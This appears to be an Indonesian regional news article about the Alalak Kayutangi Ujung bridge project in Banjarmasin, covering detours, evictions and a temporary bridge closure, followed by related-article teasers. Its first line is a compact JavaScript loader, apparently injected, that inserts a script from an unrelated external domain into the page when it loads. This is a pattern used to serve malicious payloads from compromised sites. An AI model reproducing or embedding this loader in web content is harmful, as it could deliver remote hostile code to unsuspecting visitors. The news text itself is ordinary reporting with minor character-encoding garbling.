(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Proyek pembangunan Jembatan Alalak Kayutangi Ujung berkonsep cable stayed (jembatan kabel pancang) senilai Rp 290 miliar memang harus ‘mengorbankan’ banyak orang demi kemaslahatan bersama.
Seperti beberapa bangunan warga yang harus digusur serta pergantian alur lalu lintas untuk para pengendara dari arah Banjarmasin ke Batola maupun sebaliknya.
Ada dua lajur sejauh ini nantinya akan digunakan oleh pengendara pelintas selama jembatan Alalak Kayutangi Ujung ditutup saat proses pembangunan. Khusus pengendara roda empat non truk dan roda dua harus mengganti arah melalui jembatan Alalak II tembus Handil Bakti, Kelurahan Alalak Utara. Namun, berbeda dengan para sopir truk yang harus memutar sangat jauh melalui Km 17, arah lingkar utara Batola.
Penutupan akan berlangsung dari 25 Februari 2019 hingga 18 Maret 2021 ini tentu menjadi sedikit memberatkan bagi sopir truk. Ari salah satunya, ia mengaku perlu banyak waktu dan tentunya tambahan ongkos yang akan lebih banyak terpakai, ketika hendak masuk ke arah kota Banjarmasin.
“Ya, karena harus mutar dan jaraknya sangat jauh. Mau tidak mau waktu dan ongkos bertambah,†ungkapnya.
Sekadar diketahui, jembatan Alalak II pun akan ditutup per 1 Februari hingga 10 Februari nanti. Lantaran adanya tanah longsor di bagian ujung oprit jembatan. Sementara jembatan yang tembus ke terminal Handil Bakti itu akan ditutup, maka arah lalu lintas dialihkan sementara ke jembatan Alalak -dekat RSUD Ansari Saleh Banjarmasin- yang juga sebentar lagi akan ditutup. Hal ini tentu guna mencegah kerusakan yang semakin parah ketika jembatan Alalak II yang akan digunakan sebagai perlintasan utama ketika jembatan Alalak Kayutangi Ujung sedang dalam proyek.
Hingga saat ini kondisi jembatan Alalak II masih terlihat lancar dan dilalui pengendara seperti biasanya. Sudah ada spanduk pemberitahuan di salah satu sudut jembatan yang dibuat oleh Dinas PUPR Batola perihal peringatan penutupan jembatan sementara.
Untuk jembatan Alalak Kayutangi Ujung yang akan menjadi proyek besar, kondisi macet mulai menghiasi akses Banjarmasin-Marabahan itu di kala menjelang sore. Bangunan sekitar jembatan pun sudah rata dengan tanah. Meskipun masih ada satu bangunan walet yang masih dalam tahap penggusuran. Sebelumnya, Walikota Banjarmasin H Ibnu Sina berharap pada Senin (28/1/2019) seluruh lokasi penggusuran sudah rata. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.